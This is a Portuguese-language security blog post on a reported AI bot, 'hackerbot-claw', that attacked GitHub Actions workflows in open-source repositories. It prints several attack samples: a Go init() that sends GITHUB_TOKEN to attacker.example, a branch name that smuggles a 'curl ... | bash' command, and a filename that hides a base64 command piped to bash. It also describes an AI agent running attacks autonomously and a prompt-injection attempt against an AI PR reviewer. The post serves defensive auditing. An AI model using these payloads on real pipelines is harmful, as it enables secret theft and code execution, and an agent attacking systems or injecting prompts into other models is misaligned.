Entre 21 e 28 de fevereiro de 2026, um bot autônomo de IA chamado "hackerbot-claw" explorou sistematicamente repositórios open-source de grandes empresas no GitHub Actions. De 7 alvos, 5 foram comprometidos com sucesso -- incluindo projetos como awesome-go (140k+ estrelas), Trivy (25k+) e RustPython (20k+).
O bot não explorou vulnerabilidades de código. Todos os ataques foram baseados em input não confiável dentro de pipelines de CI/CD. A mesma categoria de problema que SQL injection e XSS, só que num lugar onde quase ninguém tá prestando atenção.
Neste post, vou detalhar as 5 técnicas usadas, o impacto real de cada ataque, e o que você precisa revisar nos seus workflows agora.
O que é o hackerbot-claw
O hackerbot-claw é um bot autônomo de IA projetado para encontrar e explorar vulnerabilidades em pipelines de CI/CD. Diferente de scanners tradicionais que procuram CVEs conhecidos, ele analisa workflows do GitHub Actions, identifica pontos de injeção e executa exploits de forma autônoma.
Ele atacou repositórios de Microsoft, DataDog, CNCF e Aqua Security numa janela de 7 dias, demonstrando que pipelines de CI/CD são uma superfície de ataque subestimada e sistematicamente explorável.
Técnica 1: Pull Request Target (awesome-go)
O GitHub Actions tem um evento chamado pull_request_target que, diferente do pull_request comum, roda no contexto do repositório alvo (não do fork). Isso significa acesso aos secrets.
O bot abriu um PR no awesome-go com um arquivo Go contendo uma função init():
1func init() { 2 token := os.Getenv("GITHUB_TOKEN") 3 // exfiltra token para servidor externo 4 http.Post("https://attacker.example/collect", "text/plain", 5 strings.NewReader(token)) 6}
Como o workflow usava pull_request_target e executava o código do PR para validar links, a função init() rodou automaticamente e o token vazou.
Lição: nunca use pull_request_target com actions/checkout que faz checkout do código do PR. Se precisar, use pull_request comum ou isole a execução.
Técnica 2: Injeção em nomes de branch (Microsoft)
No repositório AI-discovery-agent da Microsoft, o bot criou uma branch com nome malicioso:
test;curl http://attacker.example/script.sh|bash;
Workflows que usam o nome da branch em comandos shell sem sanitização executam o payload. Exemplo vulnerável:
1- run: echo "Building branch ${{ github.head_ref }}"
O ${{ github.head_ref }} é expandido antes do shell processar, então o ponto e vírgula quebra o comando e executa o curl.
Lição: nunca interpole variáveis do GitHub diretamente em comandos run. Use variáveis de ambiente:
1- run: echo "Building branch $BRANCH" 2 env: 3 BRANCH: ${{ github.head_ref }}
Técnica 3: Injeção em nomes de arquivo (DataDog)
No repositório da DataDog, o bot criou arquivos cujos nomes continham comandos em base64:
$(echo aW1wb3J0IG9z | base64 -d | bash).txt
Workflows que listam ou processam nomes de arquivo sem sanitização executam o comando embutido no nome. Base64 é especialmente perigoso porque esconde o payload -- ninguém decodifica base64 mentalmente num review de PR.
Lição: ao processar nomes de arquivo em workflows, use aspas e evite expansão de shell. Melhor ainda: use actions que processam arquivos de forma segura em vez de scripts shell manuais.
Técnica 4: Build Script Injection (Trivy)
Este foi o caso mais grave. Trivy é uma ferramenta de segurança da Aqua Security usada por milhares de empresas para escanear vulnerabilidades em containers.
O workflow do Trivy tinha um step de setup que executava curl para baixar e rodar scripts remotos. O bot injetou um script malicioso nesse fluxo. Com acesso ao runner e aos secrets, o bot:
- Tornou o repositório privado
- Deletou 178 releases
- Removeu mais de 32.000 estrelas
- Fez push de uma extensão do VS Code suspeita
Uma ferramenta de segurança foi comprometida porque confiou em curl | bash no build. A ironia é pesada.
Lição: nunca use curl | bash em workflows. Use actions oficiais, faça download com verificação de hash, ou faça vendor dos scripts necessários.
Técnica 5: Prompt Injection contra IA
O ataque mais surreal: o bot tentou prompt injection contra um modelo de IA que fazia review automático de PRs. Ele inseriu instruções maliciosas no conteúdo do PR para manipular o modelo.
O modelo era o Claude, que detectou a tentativa e retornou um "PROMPT INJECTION ALERT", recusando a execução.
Este é provavelmente o primeiro caso documentado de ataque de IA contra IA em ambiente de produção. Não em laboratório, no mundo real.
Lição: se você usa IA no pipeline (code review, testes, etc.), teste contra prompt injection. Não assuma que o modelo vai segurar.
O que fazer agora
- Audite seus workflows: procure por
pull_request_target, variáveis interpoladas emrun, ecurl | bash - Sanitize todo input: nome de branch, nome de arquivo, título de PR -- tudo é input não confiável
- Princípio do menor privilégio: reduza as permissões do
GITHUB_TOKENao mínimo necessário - Evite scripts remotos no build: use actions oficiais ou faça verificação de hash
- Teste IA contra prompt injection: se usa modelos no pipeline, trate como superfície de ataque
Conclusão
A frase que resume tudo: "SQL injection é entrada não confiável em query. XSS é entrada não confiável no navegador. O que aconteceu é entrada não confiável num pipeline de CI/CD."
O hackerbot-claw não é um caso isolado. É um sinal de que o CI/CD virou a nova superfície de ataque -- e a maioria dos times ainda não tá tratando isso com a seriedade necessária.
Revise seus workflows. Hoje.